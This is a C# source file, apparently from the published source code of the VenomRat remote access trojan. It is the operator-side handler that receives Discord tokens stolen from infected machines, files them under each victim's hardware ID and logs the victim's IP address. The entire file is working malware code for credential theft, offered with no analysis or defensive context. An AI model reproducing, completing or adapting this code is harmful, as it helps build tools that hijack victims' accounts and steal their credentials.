VenomRat-SourceCode/Handle_Packet/HandleDiscordRecovery.cs
2023-07-29 23:37:10 +05:30

39 lines
1.2 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

using System;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
using MessagePackLib.MessagePack;
using Server.Connection;
namespace Server.Handle_Packet;
public class HandleDiscordRecovery
{
public HandleDiscordRecovery(Clients client, MsgPack unpack_msgpack)
{
try
{
string text = Path.Combine(Application.StartupPath, "ClientsFolder", unpack_msgpack.ForcePathObject("Hwid").AsString, "Discord");
string asString = unpack_msgpack.ForcePathObject("Tokens").AsString;
if (!string.IsNullOrWhiteSpace(asString))
{
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
File.WriteAllText(text + "\\Tokens_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", asString.Replace("\n", Environment.NewLine));
new HandleLogs().Addmsg("Client " + client.Ip + " discord recovery successfile located @ ClientsFolder \\ " + unpack_msgpack.ForcePathObject("Hwid").AsString + " \\ Discord", Color.Purple);
}
else
{
new HandleLogs().Addmsg("Client " + client.Ip + " discord recovery error", Color.MediumPurple);
}
client?.Disconnected();
}
catch (Exception ex)
{
new HandleLogs().Addmsg(ex.Message, Color.Red);
}
}
}